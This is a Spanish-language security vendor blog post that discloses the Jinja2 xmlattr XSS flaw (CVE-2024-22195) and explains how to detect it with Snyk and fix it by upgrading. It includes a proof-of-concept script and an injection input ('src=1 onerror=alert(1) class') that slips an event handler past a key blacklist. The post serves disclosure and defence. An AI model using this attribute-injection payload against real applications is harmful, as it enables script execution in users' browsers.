Skip to main content

Cómo comprender y mitigar la vulnerabilidad XSS de Jinja2 (CVE-2024-22195)

Escrito por
feature open source

18 de enero de 2024

0 minutos de lectura

El 11 de enero de 2024 se divulgó una vulnerabilidad de seguridad importante en Jinja2, una biblioteca de plantillas de Python ampliamente utilizada. Identificada como CVE-2024-22195, esta vulnerabilidad de scripting entre sitios (XSS) ha generado preocupación por su impacto en numerosos proyectos. Jinja2 registra más de 33 millones de descargas semanales, casi 10,000 estrellas en GitHub y más de 90,000 proyectos dependientes.

La vulnerabilidad afecta a todas las versiones anteriores a la 3.1.3, y la versión 3.1.3, que incluye el parche, es la única opción segura. Cabe destacar que la versión más descargada, la 3.1.2, sigue siendo vulnerable y se usa ampliamente.

Panel de popularidad que muestra las descargas semanales por versión, con la versión 3.1.2 en su punto máximo, con 17.42 millones de descargas.

¿Cómo puedo comprobar si mi proyecto usa una versión vulnerable de Jinja2?

Puedes comprobar la versión de Jinja2 en tu proyecto consultando el archivo requirements.txt o ejecutando pip list | grep Jinja2 en el entorno virtual de tu proyecto.

Comprender el uso de Jinja2 en el desarrollo con Python

La popularidad de Jinja2 se debe a su capacidad para crear plantillas HTML dinámicas con una sintaxis similar a la de Python. Ofrece funciones como la herencia de plantillas, el escape automático de HTML para evitar ataques XSS mediante entradas que no son de confianza y la compatibilidad con la internacionalización.

Los desarrolladores suelen instalarlo desde PyPI con el comando pip install Jinja2. Un ejemplo de uso en un proyecto podría ser el siguiente:

{% extends "base.html" %}
{% block title %}Members{% endblock %}
{% block content %}
  <ul>
  {% for user in users %}
    <li><a href="{{ user.url }}">{{ user.username }}</a></li>
  {% endfor %}
  </ul>
{% endblock %}

Detalles de la vulnerabilidad XSS

CVE-2024-22195 se origina en el filtro xmlattr de Jinja2 cuando se usan claves con espacios que provienen de entradas del usuario. Esta falla permite a los atacantes inyectar atributos HTML arbitrarios en las plantillas, eludir el mecanismo de escape automático y potencialmente ejecutar scripts no confiables en el navegador del usuario.

A continuación se muestra una reproducción completa de prueba de concepto de la vulnerabilidad de scripting entre sitios en Jinja2, compartida por Calum Hutton, del equipo de investigación de seguridad de Snyk, quien divulgó esta vulnerabilidad:

import sys

from jinja2 import Template

tmpl = Template(u'''\
<!DOCTYPE html>
<html>
  <head>
    <title>{{ title|escape }}</title>
  </head>
  <body>
    <img{{ dict_var|xmlattr }}>
  </body>
</html>
''')

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f'% python {sys.argv[0]} <attribute key>')
        sys.exit(1)
    key = sys.argv[1]
    # Could be used to bypass blacklist validation, i.e with the below input we can overwrite
    # the src attribute and add an onerror handler:
    # % python j2_xmlattr.py "src=1 onerror=alert(1) class"
    if key.startswith('on') or key in ('src',):
        print(f'Invalid key: {key}')
        sys.exit(2)
    data = {
        key: 'xxx',
        'src': 'https://jinja.palletsprojects.com/en/3.0.x/_static/jinja-logo-sidebar.png',
        'alt': 'My image'
    }
    print(tmpl.render(
        title='Jinja2 xmlattr PoC',
        dict_var=data
    ))

Reproducción de la vulnerabilidad XSS CVE-2024-22195 de Jinja2 

Crea un nuevo entorno virtual de Python 3:

  1. python3 -m venv myenv 

  2. source myenv/bin/activate

Nota: si estás comenzando a administrar distintos entornos de desarrollo de Python, te recomiendo dedicar unos minutos a leer Cómo dominar los entornos virtuales de Python: guía completa sobre venv, Docker y cómo proteger tu código.

Luego, crea el archivo de dependencias de Python requirements.txt, que usa el administrador de paquetes pip, y agrega bibliotecas comunes del registro de PyPI:

Jinja2==3.1.2
Flask
Werkzeug
Requests
SQLAlchemy
Flask-WTF
Pillow
Flask-SQLAlchemy
Flask-Migrate

Ahora podemos usar Snyk para analizar el proyecto y comprobar si alguna de las dependencias de Python es vulnerable. Si usas macOS, primero instala Snyk con brew, la forma más rápida de comenzar:

brew tap snyk/tap
brew install snyk

Nota: para otros sistemas operativos, como Windows o Linux, consulta las instrucciones de instalación en Snyk User Docs.

Debes autenticarte en Snyk. Ejecuta snyk auth y sigue las instrucciones para iniciar sesión en el navegador; Snyk CLI obtendrá automáticamente las credenciales de API.

Ya podemos analizar nuestro proyecto de Python. Ejecuta lo siguiente:

snyk test

Se mostrarán los hallazgos de Snyk:

Testing /private/tmp/py1...

Tested 23 dependencies for known issues, found 1 issue, 6 vulnerable paths.

Issues to fix by upgrading dependencies:

  Upgrade jinja2@3.1.2 to jinja2@3.1.3 to fix
  ✗ Cross-site Scripting (XSS) (new) [Medium Severity][https://security.snyk.io/vuln/SNYK-PYTHON-JINJA2-6150717] in jinja2@3.1.2
    introduced by jinja2@3.1.2 and 5 other path(s)

Organization:      liran.tal
Package manager:   pip
Target file:       requirements.txt
Project name:      py1
Open source:       no
Project path:      /private/tmp/py1
Licenses:          enabled

Tip: Try `snyk fix` to address these issues.`snyk fix` is a new CLI command in that aims to automatically apply the recommended updates for supported ecosystems.
See documentation on how to enable this beta feature: https://docs.snyk.io/snyk-cli/fix-vulnerabilities-from-the-cli/automatic-remediation-with-snyk-fix#enabling-snyk-fix

Snyk detectó correctamente la versión vulnerable de Jinja2 utilizada en nuestro proyecto (la versión 3.1.2) y recomendó una solución desde la CLI.

También es una buena oportunidad para contarte que puedes usar una extensión de Snyk en tu IDE y analizar tu propio código Python y tus aplicaciones Python en contenedores, además de analizar dependencias de terceros de PyPI.

¿Es fácil explotar la vulnerabilidad XSS de Jinja2?

La complejidad de explotar esta vulnerabilidad varía según la aplicación específica y cómo implementa Jinja2. Sin embargo, dada la naturaleza de las vulnerabilidades XSS, se recomienda darle máxima prioridad.

Cómo mitigar la vulnerabilidad de Jinja2 y monitorear la seguridad de forma continua

Se recomienda a los desarrolladores actualizar de inmediato a Jinja2 versión 3.1.3 para corregir esta vulnerabilidad.

Además, herramientas como Snyk pueden ser fundamentales para monitorear vulnerabilidades de forma continua. Snyk no solo detecta código y bibliotecas vulnerables mediante su extensión para IDE, sino que también es clave para analizar aplicaciones en contenedores Docker que incluyen esta dependencia vulnerable.

¿Cómo puedo proteger mi proyecto de la vulnerabilidad XSS de Jinja2?

Actualiza Jinja2 a la versión 3.1.3 o posterior. Para hacerlo, modifica tu archivo requirements.txt a Jinja2>=3.1.3 y ejecuta pip install -U -r requirements.txt.

Recursos de seguridad para desarrolladores y próximos pasos

El descubrimiento de CVE-2024-22195 en Jinja2 nos recuerda la importancia de mantener las dependencias actualizadas y usar herramientas como Snyk para monitorear la seguridad de forma continua. Si se mantienen informados y toman medidas proactivas, los desarrolladores pueden proteger sus proyectos frente a este tipo de vulnerabilidades.

Aprende sobre XSS en Python con Snyk Learn: XSS en Python

Guía rápida de buenas prácticas de seguridad en Python: Buenas prácticas de seguridad en Python

Cómo dominar los entornos virtuales de Python: Entornos virtuales de Python

Buenas prácticas para crear contenedores de aplicaciones Python con Docker: Crear contenedores de Python con Docker

¿Hay otras prácticas de seguridad recomendadas para quienes usan Jinja2?

Además de mantener Jinja2 actualizado, se recomienda seguir las prácticas generales de seguridad, como validar y depurar todas las entradas de los usuarios, implementar políticas de seguridad de contenido y realizar auditorías de seguridad con regularidad.

Leer más

illustration hero ai
Blog

PHP corrige dos vulnerabilidades críticas de RCE sin autenticación (CVE-2026-109618, CVE-2026-109619): actualiza ahora

Dos fallas críticas en el ciclo de solicitudes de PHP pueden permitir la ejecución remota de código sin autenticación. Actualiza a una versión corregida o instala una corrección retroportada por un proveedor para las versiones anteriores.

blog feature ai lilac
Blog

Convierte tu backlog de vulnerabilidades en pull requests con la remediación agéntica

Evo Remediation Agent ya está disponible en Open Preview e incorpora la resolución automatizada de dependencias a Evo Agentic AppSec. Ahora, los equipos de AppSec pueden ejecutar campañas de remediación continuas

AI Background min crop
Blog

La IA activa todos los riesgos que has aceptado: siete ideas del panel de seguridad de IA sin filtros

La IA hace que los ataques sean más baratos y rápidos, y deja al descubierto riesgos que las organizaciones ya enfrentan. Cuatro líderes de seguridad explican por qué la defensa a velocidad de máquina y la corrección más rápida son esenciales.